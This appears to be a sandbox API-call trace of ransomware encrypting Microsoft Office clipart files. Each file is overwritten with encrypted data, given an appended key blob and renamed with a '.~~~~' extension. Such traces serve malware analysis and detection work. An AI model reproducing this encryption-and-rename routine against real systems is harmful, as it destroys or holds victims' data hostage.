	[0090.460] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.460] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.461] CloseHandle (hObject=0x12c) returned 1
	[0090.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d07f8
	[0090.497] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf.~~~~")) returned 1
	[0090.503] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d07f8 | out: hHeap=0x300000) returned 1
	[0090.503] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0090.503] GetLastError () returned 0x0
	[0090.603] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x28d6b40) returned 1
	[0090.604] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.604] CryptReleaseContext (hProv=0x28d6b40, dwFlags=0x0) returned 1
	[0090.604] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.604] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0090.604] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0090.604] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21059449749) returned 1
	[0090.604] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9fc843f0, dwHighDateTime=0x1d60e1e)) 
	[0090.604] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0090.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0090.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0090.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac5b8
	[0090.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.605] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac5b8 | out: hHeap=0x300000) returned 1
	[0090.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.605] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0090.605] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28705f8
	[0090.605] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.605] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0090.605] GetLastError () returned 0x0
	[0090.605] GetLastError () returned 0x0
	[0090.605] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0090.605] GetLastError () returned 0x0
	[0090.605] GetLastError () returned 0x0
	[0090.674] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffff3e76, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.674] WriteFile (in: hFile=0x12c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0xc18a, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x25dfec0*=0xc18a, lpOverlapped=0x0) returned 1
	[0090.676] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0090.676] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.676] WriteFile (in: hFile=0x12c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.676] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.676] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.676] CloseHandle (hObject=0x12c) returned 1
	[0090.676] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0090.676] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf.~~~~")) returned 1
	[0090.725] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.725] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0090.725] GetLastError () returned 0x0
	[0090.726] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0090.729] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.729] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0090.729] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.729] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0090.729] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0090.729] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21071925466) returned 1
	[0090.729] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9fdb4ef0, dwHighDateTime=0x1d60e1e)) 
	[0090.729] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0090.729] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0090.729] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0090.729] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac820
	[0090.729] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.729] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac820 | out: hHeap=0x300000) returned 1
	[0090.729] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.730] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.730] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0090.730] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.730] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870d18
	[0090.730] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.730] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0090.730] GetLastError () returned 0x0
	[0090.730] GetLastError () returned 0x0
	[0090.730] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0090.730] GetLastError () returned 0x0
	[0090.730] GetLastError () returned 0x0
	[0090.741] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffff6baa, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.741] WriteFile (in: hFile=0x12c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x9456, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x25dfec0*=0x9456, lpOverlapped=0x0) returned 1
	[0090.741] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0090.741] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.742] WriteFile (in: hFile=0x12c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.742] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.742] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.742] CloseHandle (hObject=0x12c) returned 1
	[0090.742] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0090.742] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf.~~~~")) returned 1
	[0090.743] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.743] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0090.743] GetLastError () returned 0x0
	[0090.750] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0090.766] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.766] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0090.766] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.766] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0090.766] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0090.766] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21075628018) returned 1
	[0090.766] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9fe011b0, dwHighDateTime=0x1d60e1e)) 
	[0090.766] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0090.766] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0090.766] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0090.766] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac708
	[0090.766] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.766] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac708 | out: hHeap=0x300000) returned 1
	[0090.767] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.767] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.767] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0090.767] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.767] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28713a0
	[0090.767] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.767] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0090.767] GetLastError () returned 0x0
	[0090.767] GetLastError () returned 0x0
	[0090.767] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0090.767] GetLastError () returned 0x0
	[0090.767] GetLastError () returned 0x0
	[0090.781] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xfffffce8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.781] WriteFile (in: hFile=0x12c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x318, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x25dfec0*=0x318, lpOverlapped=0x0) returned 1
	[0090.782] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0090.784] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.784] WriteFile (in: hFile=0x12c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.784] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.784] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.784] CloseHandle (hObject=0x12c) returned 1
	[0090.795] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0f30
	[0090.795] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf.~~~~")) returned 1
	[0090.810] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0f30 | out: hHeap=0x300000) returned 1
	[0090.810] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0090.810] GetLastError () returned 0x0
	[0090.811] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0090.819] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.819] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0090.819] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.819] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0090.820] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0090.820] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21080977469) returned 1
	[0090.820] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9fe99730, dwHighDateTime=0x1d60e1e)) 
	[0090.820] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0090.820] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0090.820] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0090.820] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x381a08
	[0090.820] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.820] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x381a08 | out: hHeap=0x300000) returned 1
	[0090.820] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.820] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.820] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0f30
	[0090.820] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.820] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2871600
	[0090.821] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0f30 | out: hHeap=0x300000) returned 1
	[0090.821] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0090.830] GetLastError () returned 0x0
	[0090.830] GetLastError () returned 0x0
	[0090.848] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0090.848] GetLastError () returned 0x0
	[0090.849] GetLastError () returned 0x0
	[0090.866] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xfffff478, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.866] WriteFile (in: hFile=0x12c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0xb88, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0xb88, lpOverlapped=0x0) returned 1
	[0090.867] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0090.867] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.867] WriteFile (in: hFile=0x12c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.867] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.867] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.867] CloseHandle (hObject=0x12c) returned 1
	[0090.867] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0e88
	[0090.867] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf.~~~~")) returned 1
	[0090.868] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0090.868] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0090.868] GetLastError () returned 0x0
	[0090.868] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0090.869] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.869] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0090.869] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.869] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0090.869] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0090.869] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21085922547) returned 1
	[0090.869] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9ff0bb50, dwHighDateTime=0x1d60e1e)) 
	[0090.869] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0090.869] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0090.869] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0090.869] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac938
	[0090.869] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.869] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac938 | out: hHeap=0x300000) returned 1
	[0090.869] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.869] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.869] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0e88
	[0090.870] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.870] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2871698
	[0090.870] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0090.870] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0090.870] GetLastError () returned 0x0
	[0090.870] GetLastError () returned 0x0
	[0090.870] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0090.870] GetLastError () returned 0x0
	[0090.870] GetLastError () returned 0x0
	[0090.947] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xfffff194, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.947] WriteFile (in: hFile=0x12c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0xe6c, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0xe6c, lpOverlapped=0x0) returned 1
	[0090.948] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
